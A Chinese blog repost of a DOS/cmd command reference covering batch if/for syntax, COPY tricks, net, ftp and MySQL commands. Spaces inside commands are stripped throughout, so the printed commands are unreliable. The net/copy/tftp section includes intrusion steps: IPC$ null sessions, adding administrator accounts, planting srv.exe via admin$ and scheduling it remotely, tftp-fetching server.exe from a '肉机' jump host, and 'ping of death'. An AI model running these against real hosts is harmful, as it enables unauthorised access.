DOS命令行高级应用 - lightyearwp的专栏 - CSDN博客

来源:百度文库 编辑:神马文学网 时间:2024/04/28 02:45:46
DOS命令行高级应用 收藏
执行多个命令时,命令这间加&来隔开
if命令及变量基本格式:
IF[not]errorlevel数字命令语句如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IFerrorlevel0命令指程序执行后返回的值为0时,就值行后面的命令;IFnoterrorlevel1命令指程序执行最后返回的值不等于1,就执行后面的命令。
0指发现并成功执行(真);1指没有发现、没执行(假)。
IF[not]字符串1==字符串2命令语句如果指定的文本字符串匹配(即:字符串1等于字符串2),就执行后面的命令。
例:“if"%2%"=="4"gotostart”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加"")
IF[not]exist文件名命令语句如果指定的文件名存在,就执行后面的命令。
例:“ifnotnc.exegotoend”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF[not]errorlevel数字命令语句else命令语句或IF[not]字符串1==字符串2命令语句else命令语句或IF[not]exist文件名命令语句else命令语句加上:else命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else必须与if在同一行才有效。当有del命令时需把del命令全部内容用括起来,因为del命令要单独一行时才能执行,用上后就等于是单独一行了;例如:“ifexisttest.txt.elseechotest.txt.missing”,注意命令中的“.”
for命令及变量基本格式:
FOR/参数%variableIN(set)DOcommand[command_parameters]%variable:指定一个单一字母可替换的参数,如:%i,而指定一个变量则用:%%i,而调用变量时用:%i%,变量是区分大小写的(%i不等于%I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:netuse\\ip\ipc$pass/user:user中ip为%1,pass为%2,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(11254)(1-1254),{“(11254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1-1254)”说明:即从254到1}
command:指定对第个文件执行的命令,如:netuse命令;如要执行多个命令时,命令这间加:&来隔开
command_parameters:为特定命令指定参数或命令行开关
IN(set):指在(set)中取值;DOcommand:指执行command
参数:/L指用增量形式{(set)为增量形式时};/F指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时
追赶unixfor-深入WinXP的for命令
用途:for命令用于处理文本操作,该文本可以是文本文件,别的命令的文本输出等等。借用管道操作符"|",可以实现多个命令的连接操作,支持管道操作符的命令有find,more和sort(输入文件用"
tips:
·在批处理文件中使用FOR命令时,指定变量请使用%%variable,而不要用%variable。批处理文件命令查询WinXP帮助:命令行batchfiles。
·默认以文本的行作为处理单位,逐行进行处理。
·变量名称是区分大小写的,所以%i不同于%I。
·如果不想看到中间命令的显示,在命令前加上dos命令@来屏蔽命令显示。
·批处理文件中不想看到for命令的显示,在for前加上@符号屏蔽命令显示即可。
·最详细的介绍请输入for/?和查找winXP的帮助:命令行for。
1.基本形式,获取文件名。
格式:千万注意in和左括号之间要有空格分隔!(下同)
for一个变量in(文件/路径集)do命令+变量
------------------------------
|||
|||
变量声明||
提取条件(多个用空格分隔)|
|
需要执行的命令,参数是变量的值(即提取结果)
得到文件名,变量替换,最后执行do后面指定的命令,变量已经替换为了文件名。如果是多个文件名,那么就多次执行那个命令,变量挨个取值。
例子1:
for%ain(*.doc*.txt)dodir%a
则获取当前目录下的doc和txt文件名,然后把结果挨个发给dir命令作为参数。
例子2:
for%ain(c:\d:\*.docd:\*.txt)do@dir%a|find"txt"
获取c盘根目录的所有文件名,以及d盘根目录下的doc和txt文件名,然后把结果挨个发送给dir命令作为它的命令行参数,然后dir显示的结果将发送给find命令,由find来显示含有txt字样的行,这样可以过滤其它多余的信息。dir前面的@符号是dos屏蔽命令行显示用的。
从上面的简单例子可以看出,for命令不是编程语言中的循环操作,它执行的是把括号中的值依次放入do后面的指定命令的变量中,以获得命令执行后的输出文本。下文对输出文本控制格式的介绍将展示for命令的强大一面。(也可以用它作为循环指令,见例子6)。
注意:for命令对括号中的命令将预先执行,如(*.doc*.txt),则发送给dir命令的参数已经是当前目录下所有的txt和doc的文件名了,而dir,type等dos命令的文件名参数如果是带有空格、等号等特殊字符的文件/目录名,会显示找不到文件。我的系统简体中文版WinXPproSP1下的cmd环境运行是这个效果,不知道其它环境的运行效果如何。解决方法,使用变量的替换形式:使用文件名的8.3格式的短名称,见例子14
2.获取目录名
格式:
for/D...in(...)do...
得到目录名(不包括子目录),赋给变量,最后执行do后面指定的命令,变量已经替换为了目录名。如果是多个目录名,那么就多次执行那个命令,变量挨个取值。
例子3:
for/D%ain(pro*)dodir%a
列举当前目录下与以pro为开头的目录名,然后把结果发送给dir进行挨个显示。同样需要注意dir命令不能处理有空格、等号等特殊字符的文件名的问题。解决方法,是要求变量使用文件名的8.3格式的短名称,见例子14.
3.递归的目录操作
格式:
for/R...in(包含通配符*和?)do...
得到当前的目录名/文件名,以及所有的子目录下的目录/文件名。然后把结果挨个发送给do后面指定的命令作为参数。
例子4:
for/Rd:\download%ain(*.txt)dotype%a
从d:\download目录(不指定则默认当前目录)开始,将列举它下面所有的的txt文件名(包括子目录里的),结果发送给type后将挨个显示这些文件的内容。同样有dir不能处理特殊文件名问题需要注意,解决方法,是要求变量使用文件名的8.3格式的短名称,见例子14。
例子5:
for/Rd:\download%ain(.)dodir%a
因为只是一个句号(.),所以从d:\download目录(不指定则默认当前目录)开始,列举它下面所有的目录名(包括子目录),结果传送给dir作为参数,则dir将显示所有目录下的文件,同样有特殊文件名问题需要注意,解决方法,是要求变量使用文件名的8.3格式的短名称,见例子14。
*无法指定特定的目录(或子目录),只能列举所有,然后对结果再进行选择处理。
4.重复数值范围
格式:
for/L...in(起始值,步长,终了值)do...
循环执行命令。
例子6:
for/L%ain(5,-1,1)dotypedirlist.txt
把文件dirlist.txt显示五遍.
例子7:
for/L%%ain(5,-1,1)docallcb.batpar
调用cb.bat五次,传入的命令行参数是par
例子8:
for/L%%ain(1,1,3)docall:testcall
gotoend
:testcall
@echocalling......
:end
调用标号段testcall三次.
5.重复和文件解析:
主要用于处理应用极其广泛的csv文本表格文件。对文本文件逐行,以字段(空格或制表符为默认的分界符)为单位进行解析,得到的结果是0或多个字符串,然后根据参数设置赋给相应的变量,因为变量是do后面命令的参数,所以do执行的命令的参数就是提取出来的相应字段,这样就可以实现对csv文件的处理。实践中发现默认用分号做为行尾符(行结束符)来跳过不进行处理的行。需要专门的解析关键字来指定需要获取第几个字段,什么是行尾符等等,因为需要处理多个字段,所以支持多个变量。有三种用法如下:
1)for/F"..."...in(...)do........
||||
||||
解析关键字变量文件/路径名集命令+变量
对每个文件的内容逐行读取,读取字段进行操作。默认跳过空行,每行只处理第一个字段(以后称为令牌,因为windows帮助里面这么叫的),默认的行尾符是分号,即处理的时候忽略以分号开头的行,当然行中间如果出现分号,则分号后面的字符就被忽略。多个解析关键字也是以空格分隔。
例子9:
for/F%ain(dirlist1.txtdirlist2.txt)doecho%a
没有设置指定令牌的解析关键字,所以采用默认的设置进行执行。解析文件dirlist1.txt和dirlist2.txt的内容,并把结果作为参数发送给echo来进行显示。显示的内容是每行的第一个令牌,含有分号(默认的行尾符)的令牌将被自动忽略该行分号后的内容,而且忽略了以分号开头的行不进行处理。
例子10:
for/F"eol=/tokens=4-6delims=,"%din(dirlist1.txtdirlist2.txt)do@echo%d%e%f
把dirlist1.txt和dirlist2.txt的每行第4,5,6个字段的内容提取出来,赋给变量%d%e%f(只需指定第一个变量%d,%e和%f不需显式的声明直接就可以使用)发送给echo作为参数。
例子11:
for/F"eol=/tokens=2,3*delims=,"%ain(dirlist1.txtdirlist2.txt)doecho%a%b%c
把dirlist1.txt和dirlist2.txt的每行第2,3个字段的内容提取出来,赋给变量%a%b(只需指定第一个变量%a,%b和%c不需显式的声明直接就可以使用),最后的星号表示第三个字段后面的所有令牌都发送给最后的变量%c,发送给echo作为参数。
解析关键字功能如下:
用"eol=,"指定行尾字符(只一个字符)。以分号开头的行都被忽略。
用"skip=n"指定在文件的开头跳过的行数。对于有些命令,前面几行的输出都是版权信息等无用字符。
用"delims=,"指定定界符集合是逗号(可以有多个,如:,表示逗号和空格都算分界符,所以想设置空格的情况需要是最后一个参数)。这将替换空格和制表符的默认分隔符集。
用"tokens=x,y,m-n"表示把第几个令牌赋给变量,顺次排列。即第x个令牌赋给%a,第y个令牌赋给%b(因为有了%a,则默认的字母顺序递增的变量可以在do后面指定的命令中直接引用),m-n是延续的范围,也就是把从第m个开始,到第n个的令牌顺次赋给变量。变量不需要挨个声明,只需要在in的前面声明第一个,后面的变量自动根据tokens指定的令牌数目隐含的被声明了,可以直接在do后面的变量中使用。如果m、n不是数字而是星号(*),那么表示该行剩余的所有令牌都赋给最后一个变量。tokens=的格式灵活,可以写"tokens=2,5,9,14"的形式,也可以对连续的令牌使用诸如"tokens=3-8","tokens=3,5,6,8-10"的形式。
2)for/F"usebackq...".....in("...")do............
||||
||||
加usebackq的解析关键字|||
变量文件/路径名命令+变量
解析关键字前面加上usebackq,表示在in()中要使用引号/单引号/反单引号。引号表示是文件名,其实除了只能有一个文件名外,跟第一种用法完全一样。
3)for/F"usebackq..."........in('...')do........
||||
||||
加usebackq的解析关键字|||
变量文件/路径名命令+变量
解析关键字前面加上usebackq,表示在in()中要使用引号/单引号/反单引号。单引号表示把其中的内容看作从某个文件输入的单行,是字符串而不是文件名。
例子12:
for/F"usebackqtokens=2,4delims=/"%iIN('1/2/34/5/6/7/890')DO@echo%j---%i
令牌的分界符是“/”和空格,所以第2个令牌赋给%i,第4个令牌赋给%j,根据的echo的参数顺序,则最后在屏幕上显示的内容是:4---2。
*我的系统上的试验,如果令牌空,则不计数,以有内容的令牌为准.
4)for/F"usebackq..."...in(`...`)do...
解析关键字前面加上usebackq,表示在in()中要使用引号/单引号/反单引号。反单引号表示把括号里的内容看作命令,先执行该命令,然后把输出赋给变量,交给do后面的命令挨个执行。
例子13:
for/F"usebackqdelims=="%iIN(`set`)DO@echo%i|find"PATH"/I
显示当前环境中的环境变量名带有path字样的行。
6.变量替换:
格式:
%~加关键字加变量名(变量是显式声明过的)
如果变量的值是提取出的文件名或者路径名,变量替换可以实现对文件和路径的修饰。比如%~f可以把变量变为完整的路径名,或者%~s把变量的值变为只包含短名称(可以解决dir、等命令对长文件名不支持空格等号的问题),组合的%~fs把变量展开到完整的短路径名,甚至把原本是文件名的变量变成该文件的大小(%~z)、该文件的日期时间(%~t)。具体列表参考windows帮助里面的介绍。
例子14:(改自例子2)
for%ain(*.txt)do@dir%~sa|find"txt"
-----------------
||
||
用@来屏蔽dos命令显示|
|
变量%a的替换方式,文件名只包含短名称
发送给dir的参数是8.3格式的文件名,这样对dir,type等dos命令可以完美的支持了。显示结果:原来名为“slist.txt”和“=slist.txt”这样的文件名现在可以转成短文件名格式发送给dos命令,最终被find命令完美的显示出来。
例子15:
for%ain(*.txt)do@echo%~fa%~zaBytes
显示目录下所有txt文件的名称和大小,Byte不是变量所以原样显示。
如果D盘的根目录下有文件dirlist3.txt和=slist.txt,则显示的结果是:
D:\test\dirlist3.txt536Bytes
D:\test\=slist.txt1452Bytes
7.综合应用
例子16:
for/f"usebackqskip=7tokens=3,4"%ain(`dir`)do@ifexist%becho%b------%a
显示当前目录下的文件和文件夹。显示结果如下:
dirlist3.txt------536
slist.txt------1,452
may------
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------------------------------------------
显示文本文件内容:(=TYPE)
COPY文件名CON
2、显示特殊文件内容:
COPY文件名CON/B
3、显示文件名:(=DIR)
COPY*.*NUL
4、打印文件内容:
COPY文件名PRN
5、将键盘输入的内容打印出来:
COPYCONPRN
6、删除文件:(=DEL)
COPYNUL文件名
7、建立新文件:
COPYCON文件名
8、改文件日期:
COPY文件名+,,
9、连接两个文件:
COPY文件1+文件2
10、校验两个文件:
COPY文件1文件2/V
:dos高级技术
Windows98中“我的文档(MyDocuments)”是用户自建文件的集中存放地,它由于体积较大,备份起来显得很麻烦。如果在DOS下备份,就容易多了,具体方法如下:
1、单击“开始/程序/MS-DOS方式”,在DOS提示符下键入pdos95.bat,回车,系统进
入Windows9x的中文DOS方式。
2、输入“attribc:\mydocu~1\*.*+a/s”,回车。“MyDocuments”的DOS8.3格式的名称是“mydocu~1”,“+a”表示把文件设置为存档属性,“/s”表示对指定文件夹下的子文件夹也进行操作。
3、输入“xcopyc:\mydocu~1\*.*/m/s/w”,回车(如图1)。“/m”表示只复制存档属性的文件,并且在复制完一个文件后即复原文件属性,“/w”表示在复制前显示提示信息。图1
4、当第一张软盘写满时,根据提示,插入后续磁盘,并在每插入一张新软盘后输入如第3步中的字符或直接按[F3]。以上方法对其他文件同样适用。指定目录进入DOS如果能在DOS下就直接进入自己想要的目录,的确可以带来很多方便。其实也很简单,右键单击MS-DOS方式,在弹出的菜单中选择“属性”,找到“程序”标签,在“工作目录”栏中输入目标目录(如图2)。图2查看网络配置信息大家知道在控制面板的“Internet选项”中只能查看如网络协议、本机IP地址等一些基本的网络配置信息。但如果我们将系统切换到MS-DOS方式下并输入命令“ipconfig/all”,则能获得更详细全面的网络配置信息(如图3)。在右键中加入DOS方式打开记事本,输入以下文本:REGEDIT4[EY_CLASSES_ROOT\Folder\shell\MS-DOS方式][EY_CLASSES_ROOT\Folder\shell\MS-DOS方式\command]@=”c:\\windows\\command.com”以“REG”为扩展名保存上述文本,并双击此文件将其导入注册表。这样当我们在桌面上或在资源管理器中右击任意目标目录后再选择“MS-DOS方式”,便可直接进入以该目录为提示符的DOS方式。
作者:diablo6182006-4-1314:25回复此发言
--------------------------------------------------------------------------------
7回复:dos高级技术
图一
贴子相关图片:
作者:diablo6182006-4-1314:30回复此发言
--------------------------------------------------------------------------------
8回复:dos高级技术
图二
贴子相关图片:
作者:diablo6182006-4-1314:30回复此发言
--------------------------------------------------------------------------------
9回复:dos高级技术
图三
贴子相关图片:
作者:diablo6182006-4-1314:31回复此发言
--------------------------------------------------------------------------------
10dos:FOR高级技术
以前常觉得DOS的命令行功能太弱,无法象UNIX一样可以用命令行完成非常复杂的操作。实际上,当MS从WIN2K开始将命令行增强后,已经借鉴了相当多UNIX的优点,虽然还无法做到象UNIX那么灵活,但已可完成绝大多数的任务,比如用&&和||连接两个(或更多)命令,由前一个的返回值来决定下一个是否执行,等等。而在这些增强中,最明显的,就是FOR命令。
举个例子,用适当的参数,可用FOR命令将date/t的输出从"Sat07/13/2002"变成你想要的格式,比如,"2002-07-13":
c:\>for/f"tokens=2,3,4delims=/"%ain('date/t')do@echo%c-%a-%b
2002-07-13
该例将在(3)中详细说明。
0.基本应用
简单说,FOR是个循环,可以用你指定的循环范围生成一系列命令。最简单的例子,就是人工指定循环范围,然后对每个值执行指定的命令。例如,想快速报告每个硬盘分区的剩余空间:
for%ain(c:d:e:fdo@dir%a\|find"bytesfree"
将输出:
8Dir(s)1,361,334,272bytesfree
15Dir(s)8,505,581,568bytesfree
12Dir(s)12,975,149,056bytesfree
7Dir(s)11,658,854,400bytesfree
用它可以使一些不支持通配符的命令对一系列文件进行操作。在WIN9X中,TYPE命令(显示文件内容)是不支持*.txt这种格式的(WIN2K开始TYPE已支持通配)。遇到类似情况就可以用FOR:
for%ain(*.txt)dotype%a
这些还不是FOR最强大的功能。我认为它最强大的功能,表现在以下这些高级应用:
1.可以用/r参数遍历整个目录树
2.可以用/f参数将文本文件内容作为循环范围
3.可以用/f参数将某一命令执行结果作为循环范围
4.可以用%~操作符将文件名分离成文件名、扩展名、盘符等独立部分
现分别举例说明如下:
1.用/r遍历目录树
当用*.*或*.txt等文件名通配符作为for/r的循环范围时,可以对当前目录下所有文件(包括子目录里面的文件)进行操作。举个例子,你想在当前目录的所有txt文件(包括子目录)内容中查找"bluebear"字样,但由于find本身不能遍历子目录,所以我们用for:
for/r.%ain(*.txt)do@find"bluebear"%a
find前面的@只是让输出结果不包括find命令本身。这是DOS很早就有的功能。和FOR无关。
当用.作为循环范围时,for只将子目录的结构(目录名)作为循环范围,而不包括里面的文件。有点象TREE命令,不过侧重点不同。TREE的重点是用很漂亮易读的格式输出,而FOR的输出适合一些自动任务,例如,我们都知道用CVS管理的项目中,每个子目录下都会有一个CVS目录,有时在软件发行时我们想把这些CVS目录全部去掉:
for/r.%ain(.)do@ifexist%a\CVSrd/s/q%a\CVS
先用ifexist判断一下,是因为for只是机械的对每个目录进行列举,如果有些目录下面没有CVS也会被执行到。用ifexist判断一下比较安全。
这种删除命令威力太大,请小心使用。最好是在真正执行以上的删除命令前,将rd/s/q换成@echo先列出要删出的目录,确认无误后再换回rd/s/q:
for/r.%ain(.)do@ifexist%a\CVS@echo%a\CVS
可能目录中会多出一层".",比如c:\proj\release\.\CVS,但不会影响命令的执行效果。
2.将某一文件内容或命令执行结果作为循环范围:
假如你有一个文件todel.txt,里面是所有要删除的文件列表,现在你想将里面列出的每个文件都删掉。假设这个文件是每个文件名占一行,象这样:
c:\temp\a1.txt
c:\temp\a2.txt
c:\temp\subdir\b3.txt
c:\temp\subdir\b4.txt
那么可以用FOR来完成:
for/f%ain(todel.txt)dodel%a
这个命令还可以更强大。比如你的todel.txt并不是象上面例子那么干净,而是由DIR直接生成,有一些没用的信息,比如这样:
作者:diablo6182006-4-1314:32回复此发言
--------------------------------------------------------------------------------
13回复:dos高级技术
netuse[url=file://\\ip\ipc$]\\ip\ipc$[/url]""/user:""建立IPC空链接
netuse[url=file://\\ip\ipc$]\\ip\ipc$[/url]"密码"/user:"用户名"建立IPC非空链接
netuseh:[url=file://\\ip\c$]\\ip\c$[/url]"密码"/user:"用户名"直接登陆后映射对方C:到本地为H:
netuseh:[url=file://\\ip\c$]\\ip\c$[/url]登陆后映射对方C:到本地为H:
netuse[url=file://\\ip\ipc$]\\ip\ipc$[/url]/del删除IPC链接
netuseh:/del删除映射对方到本地的为H:的映射
netuser用户名密码/add建立用户
netuserguest/active:yes激活guest用户
netuser查看有哪些用户
netuser帐户名查看帐户的属性
netlocalgroupadministrators用户名/add把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
netstart查看开启了哪些服务
netstart服务名开启服务;(如:netstarttelnet,netstartschedule)
netstop服务名停止某服务
nettime\\目标ip查看对方时间
nettime\\目标ip/set设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
netview查看本地局域网内开启了哪些共享
netview[url=file://\\ip]\\ip[/url]查看对方局域网内开启了哪些共享
netconfig显示系统网络设置
netlogoff断开连接的共享
netpause服务名暂停某服务
netsendip"文本信息"向对方发信息
netver局域网内正在使用的网络连接类型和信息
netshare查看本地开启的共享
netshareipc$开启ipc$共享
netshareipc$/del删除ipc$共享
netsharec$/del删除C:共享
netuserguest12345用guest用户登陆后用将密码改为12345
netpassword密码更改系统登陆密码
netstat-a查看开启了哪些端口,常用netstat-an
netstat-n查看端口的网络连接情况,常用netstat-an
netstat-v查看正在进行的工作
netstat-p协议名例:netstat-ptcq/ip查看某协议使用情况(查看tcp/ip协议使用情况)
netstat-s查看正在使用的所有协议使用情况
nbtstat-Aip对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert-参数ip(或计算机名)跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
pingip(或域名)向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping-t-l65550ip死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig(winipcfg)用于windowsNT及XP(windows9598)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist-t以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill-F进程名加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del-F文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR*.*”表示删除当前目录下所有只读文件,“DEL/A-S*.*”表示删除当前目录下除系统文件以外的所有文件
#2二:
del/S/Q目录或用:rmdir/s/Q目录/S删除目录及目录下的所有子目录和文件。同时使用参数/Q可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move盘符\路径\要移动的文件名存放移动文件的路径\移动后文件名移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fcone.txttwo.txt>3st.txt对比二个文件并把不同之处输出到3st.txt文件中,">"和">>"是重定向命令
atid号开启已注册的某个计划任务
at/delete停止所有计划任务,用参数/yes则不需要确认就直接停止
作者:diablo6182006-4-1314:37回复此发言
--------------------------------------------------------------------------------
14回复:dos高级技术
atid号/delete停止某个已注册的计划任务
at查看所有的计划任务
at[url=file://\\ip]\\ip[/url]time程序名(或一个命令)/r在某时间运行对方某程序并重新启动计算机
fingerusername@host查看最近有哪些用户登陆
telnetip端口远和登陆服务器,默认端口为23
openip连接到IP(属telnet登陆后的命令)
telnet在本机上直接键入telnet将进入本机的telnet
copy路径\文件名1路径\文件名2/y复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copyc:\srv.exe[url=file://\\ip\admin$]\\ip\admin$[/url]复制本地c:\srv.exe到对方的admin下
cppy1st.jpg/b+2st.txt/a3st.jpg将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy[url=file://\\ip\admin$\svv.exe]\\ip\admin$\svv.exe[/url]c:\或:copy\\ip\admin$\*.*复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy要复制的文件或目录树目标地址\目录名复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp-i自己IP(用肉机作跳板时这用肉机IP)getserver.exec:\server.exe登陆后,将“IP”的server.exe下载到目标主机c:\server.exe参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i则以ASCII模式(传送文本文件模式)进行传送
tftp-i对方IPputc:\server.exe登陆后,上传本地c:\server.exe至主机
ftpip端口用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
routeprint显示出IP路由,将主要显示网络地址Networkaddres,子网掩码Netmask,网关地址Gatewayaddres,接口地址Interface
arp查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp-a将显示出全部信息
start程序名或命令/max或/min新开一个新窗口并最大化(最小化)运行某程序或命令
mem查看cpu使用情况
attrib文件名(目录名)查看某文件(目录)的属性
attrib文件名-A-R-S-H或+A+R+S+H去掉(添加)某文件的存档,只读,系统,隐藏属性;用+则是添加为某属性
dir查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date/t、time/t使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set指定环境变量名称=要指派给变量的字符设置环境变量
set显示当前所有的环境变量
setp(或其它字符)显示出当前以字符p(或其它字符)开头的所有环境变量
pause暂停批处理程序,并显示出:请按任意键继续....
if在批处理程序中执行条件处理(更多说明见if命令及变量)
goto标签将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call路径\批处理文件名从批处理程序中调用另一个批处理程序(更多说明见call/?)
for对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echoon或off打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo信息在屏幕上显示出信息
echo信息>>pass.txt将"信息"保存到pass.txt文件中
findstr"Hello"aa.txt在aa.txt文件中寻找字符串hello
find文件名查找某文件
title标题名字更改CMD窗口标题名字
color颜色值设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt名称更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\)
#3三:
ver在DOS窗口下显示版本信息
作者:diablo6182006-4-1314:37回复此发言
--------------------------------------------------------------------------------
15回复:dos高级技术
winver弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format盘符/FS:类型格式化磁盘,类型:FAT、FAT32、NTFS,例:FormatD:/FS:NTFS
md目录名创建目录
replace源文件要替换文件的目录替换文件
ren原文件名新文件名重命名文件名
tree以树形结构显示出目录,用参数-f将列出第个文件夹中文件名称
type文件名显示文本文件的内容
more文件名逐屏显示输出文件
doskey要锁定的命令=字符
doskey要解锁命令=为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskeydir=entsky(不能用doskeydir=dir);解锁:doskeydir=
taskmgr调出任务管理器
chkdsk/FD:检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmntelnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path路径\可执行文件的文件名为可执行文件设置一个路径。
cmd启动一个win2K命令解释窗口。参数:/eff、/en关闭、开启命令扩展;更我详细说明见cmd/?
regedit/s注册表文件名导入注册表;参数/S指安静模式导入,无任何提示;
regedit/e注册表文件名导出注册表
cacls文件名参数显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D用户名:设定拒绝某用户访问;/P用户名:perm替换指定用户的访问权限;/G用户名:perm赋予指定用户访问权限;Perm可以是:N无,R读取,W写入,C更改(写入),F完全控制;例:caclsD:\test.txt/Dpub设定d:\test.txt拒绝pub用户访问。
cacls文件名查看文件的访问用户权限列表
REM文本内容在批处理文件中添加注解
netsh查看或更改本地网络配置情况
#4四:
IIS服务命令:
iisreset/reboot重启win2k计算机(但有提示系统将重启信息出现)
iisreset/start或stop启动(停止)所有Internet服务
iisreset/restart停止然后重新启动所有Internet服务
iisreset/status显示所有Internet服务状态
iisreset/enable或disable在本地系统上启用(禁用)Internet服务的重新启动
iisreset/rebootonerror当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset/noforce若无法停止Internet服务,将不会强制终止Internet服务
iisreset/timeoutVal在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP命令:(后面有详细说明内容)
ftp的命令行格式为:
ftp-v-d-i-n-g[主机名]-v显示远程服务器的所有响应信息。
-d使用调试方式。
-n限制ftp的自动登录,即不使用.netrc文件。
-g取消全局文件名。
help[命令]或?[命令]查看命令说明
bye或quit终止主机FTP进程,并退出FTP管理方式.
pwd列出当前远端主机目录
put或send本地文件名[上传到主机上的文件名]将本地一个文件传送至远端主机中
get或recv[远程主机文件名][下载到本地后的文件名]从远端主机中传送至本地主机中
mget[remote-files]从远端主机接收一批文件至本地主机
mputlocal-files将本地主机中一批文件传送至远端主机
dir或ls[remote-directory][local-file]列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii设定以ASCII方式传送文件(缺省值)
bin或image设定以二进制方式传送文件
bell每完成一次文件传送,报警提示
cdup返回上一级目录
close中断与远程服务器的ftp会话(与open对应)
openhost[port]建立指定ftp服务器连接,可指定连接端口
作者:diablo6182006-4-1314:37回复此发言
--------------------------------------------------------------------------------
16回复:dos高级技术
delete删除远端主机中的文件
mdelete[remote-files]删除一批文件
mkdirdirectory-name在远端主机中建立目录
rename[from][to]改变远端主机中的文件名
rmdirdirectory-name删除远端主机中的目录
status显示当前FTP的状态
system显示远端主机系统类型
useruser-name[password][account]重新以别的用户名登录远端主机
openhost[port]重新建立一个新的连接
prompt交互提示模式
macdef定义宏命令
lcd改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod改变远端主机的文件权限
case当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cdremote-dir进入远程主机目录
cdup进入远程主机目录的父目录
!在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
#5五:
MYSQL命令:
mysql-h主机地址-u用户名-p密码连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql-h110.110.110.110-Uroot-P123456
注:u与root可以不用加空格,其它也一样)
exit退出MYSQL
mysqladmin-u用户名-p旧密码password新密码修改密码
grantselecton数据库.*to用户名@登录主机identifiedby\"密码\";增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
showdatabases;显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
usemysql;
showtables;显示库中的数据表
describe表名;显示数据表的结构
createdatabase库名;建库
use库名;
createtable表名(字段设定列表);建表
dropdatabase库名;
droptable表名;删库和删表
deletefrom表名;将表中记录清空
select*from表名;显示表中的记录
mysqldump--optschool>school.bbb备份数据库:(命令在DOS的[url=file://\\mysql\\bin]\\mysql\\bin[/url]目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown/参数关闭或重启本地或远程主机。
参数说明:/S关闭主机,/R重启主机,/T数字设定延时的时间,范围0~180秒之间,/A取消开机,/M//IP指定的远程主机。
例:shutdown/r/t0立即重启本地主机(无延时)
taskill/参数进程名或进程的pid终止一个或多个任务和进程。
参数说明:/PID要终止进程的pid,可用tasklist命令获得各进程的pid,/IM要终止的进程的进程名,/F强制终止进程,/T终止指定的进程及他所启动的子进程。
tasklist显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
